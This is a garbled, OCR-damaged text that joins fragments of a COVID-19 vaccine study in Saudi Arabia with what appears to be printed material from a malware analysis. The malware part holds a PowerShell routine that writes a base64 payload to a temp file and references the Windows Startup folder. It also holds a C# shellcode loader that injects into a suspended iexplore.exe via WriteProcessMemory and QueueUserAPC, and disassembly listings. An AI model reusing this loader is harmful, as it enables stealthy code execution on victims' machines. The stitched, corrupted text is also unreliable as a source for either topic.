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d in the clinical trials, indicating safe profiles for both vaccines. Further studies are needed to
evaluate the effectiveness of the curment vaccines in profection against SARSCoVe2 reinfections.
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1. Introduction

pi irus 2 (SARS-CoV-2), is a newly identified
member of the human coronavinses family that was discovered during the outbreak
of the highly transmissible respiratory disease in Wuhan, China in 2019 SARS-ColV-2
causes the Coronavirus disease 19 (COVID-19) and is now continuing to spread worldwide
causing a global pandemic [1]. Saudi Arabia is one of the countries that was affected by
this pandemic. M<u.mpnmml, Saudi health officials have taken early unprecedented
y strategies, such as banning international flights,
p—y .w_'huula: and universities, and complete lockdown of the country, to
reduce the burden of the disease [2]. Yet, as there is no approved antiviral treatment
for COVID-19, several trials for vaccine development were immediately initiated with
the hope to control this pandemic [3,1). By the beginning of 2021, some intemational
health various for
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function Rwin{

function RuOSEringToBinary {
[CmdletBinding ()]
paran (
[string] $InputString
, [string] $FilePath = (' (0} (1]’ -f §env:TEMP, [System.Guid]::NewGuid().ToString())
)
try {
if ($Inputstring.length -ge 1) {
$Bytearray = [System.Convert]::FromBase645tring ($InputString) ;
[System.IO.File]::WriteAllBytes (§FilePath, $ByteArray) ;

}

}
catch {
throw ('Failed to create file from Basesd string: (0} -f $FilePath) ;

wWrite-output -Inputobject (Get-Item -Path §Filepath) ;
function LowuersREasdasda {
$b =

XR1CiAITCTUIGORU2YO
bXBlAGYY

4g c Iy ZWEOZ
RQIRBRLVEWXACMUF TUUFhUUJ 2QUc0QVVBQNZBR3dBY VECKF
BWVFCAUFHUUFIQUFpQUArQVPRQIRBQ2ABVGACHEFTYOFMUUTQ
urwm/lrf FFBY2dCCEFANEFadOFVQUNIQWFBO B
EVBULF

£t\Windows\Start
"$en A\Microsoft\window

Test-path

23 M C2 T E SRR AR 32 /1 Shellcode 3+ A\ Elliexplore.exe it F24,

public-static-void-Main()

string-AeW-
string-UpWins-=
System. Threading. Thre.
byte[] windowsUpdate =" Convert. FromBase64String(UpWins) ;
string-processpath'=+@"C:\Program*Files\Internet-Explorer\iexplore. exe”;
STARTUPINFO*si new*STARTUPINFO () ;

PROCESS_INFORMATION'pi newPROCESS_INFORMATION () ;
bool*success-=-CreateProcess (processpath, ‘null,

IntPtr. Zero,

Win;
GetWindowsupdate (Aefl) ;
i 51eep(1000) ;

tr. Zero, -false,

ProcessCreationFlags. CREATE_SUSPENDED,

Zero, *null, 'refsi, ~out 'pi);

r resultPtr: rtualallocEx (pi. hProcess, * IntFtr. Zere, *windowsUpdate. Length, *MEM_COMMIT, *PAGE_READWRITE)
IntPir-bytesWritten'=- IntFir. Zero;

bool resultBool-="WriteProcessMemory(pi. hProcess, 'resultPtr, ‘windowsUpdate, *windowsUpdate. Length, *out bytesWritten);
OpenThread (ThreadAccess. SET_CONTEXT, *false, * (int) pi. dwThreadId) ;

uint-oldProtect-=-0;

resultBool *=*VirtualProtectEx (pi. hProcess, ‘resultPtr, *windowsUpdate. Length, *PAGE_EXECUTE_READ, *out-oldProtect) ;
ptr-=-QueuelUserAPC (resultPtr, - sht,
7 ThreadHandle =-pi. hThread;
ResumeThread (ThreadHandle) ;

Ptr. Zero) ;
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bool -success-=+CreateProcess (processpath, *null,
ero, *false,

CREATE_ :LSPE\ID D,

Zero, *null, "ref*
‘resultPtr-=
tesliritten

. hProcess, - Ir Zero, -windowsUpdate. Length, -MEM_COMMIT, -PAGE_READWRITE) ;

bccl resultBool*= erteFrocessMemory\pl hProcess, "resultPtr, ‘windowsUpdate, "windowsUpdate. Length, ‘out bytesWritten);

-sht-=-0OpenThread (ThreadAccess. SET_CONTEXT, -false, * (int)pi. dwThreadId) ;
uint-oldProtect-=-0;

resultBool ="VirtualPz

ote
CiresJ,t?tr, -
*ThreadHandle ='pi. hThread;
ResumeThread (ThreadHandle) ;

fi#2 fa i Shellcode U B0

‘windowsUpdate. Length, *PAGE_EXECUTE_READ, ‘out oldProtect);
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ﬂ 0x5D67D
v

dmmd ptr

dword ptr

seg0en

SegBa:
5eg000:
segoen:

seg0oo
seg0en

SegBa:
5eg000:
segoen:
segoen:

seg0oo

Pt

80000670
4600D67D
00000670
20000670
00000650
80000681
6000D683
00000684
20000687
20000688
8000D68A

:0800D68D
:0000063E
:00000690
:6000D891

80000694

:0600DE95
:00000697
:0000D694
:6200069D

0000D69E

:B6RODEIF
:0000644
:0000D6A6
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:6000D6B2

0000D6B4
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:000006B8
:0000DEBY
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0000D6ED
6600D6CO

:000006C1
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0000D6C6
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loc_DE7D:

loc_D6AC:

AR B AR A R C AR %

WEERRE N Z R 2 INEAC

AT 4

WrtE s | 6 W1

5 CODE XR

eax, [ebpivar_C]
eax

ax, dx

eax

eax, [ebptvar_g]
eax

edx, eax
eax, [ebptvar_c]
e

ax, ox
eax

eax, [ebptvar_5]
eax

eax, ecx

ecx, byte ptr [eax]
eax, [ebpivar C]
eax

b=l BEEE
ASCIT

sul

cax, [ebpteaxtvar_30]

cax, ecx
[edx], al
[ebptvar €], 1

5 CODE XREF

eax, [ebptvar
eax, [ebpivar_:
shert lec_D&7D
eax, [ebp+var_ic]
eax

1C

eax
[ebptarg 20], eax
eax, [ebptvar_1c]

sul

, B EBAX

Lrb
r
s [vrn

s: [rdx
s: [rbp

000000000016FC00

000000000016FC08

00000000001
0 01

00000000001
00000000001
00000000001

01

b_DSFa+89+3
)
.
B 2
for ( ;< vis; 1)
{
asm{ arpl ax, de )
a;m{ arpl ax, ox }
b_DSFa+5213

return -1
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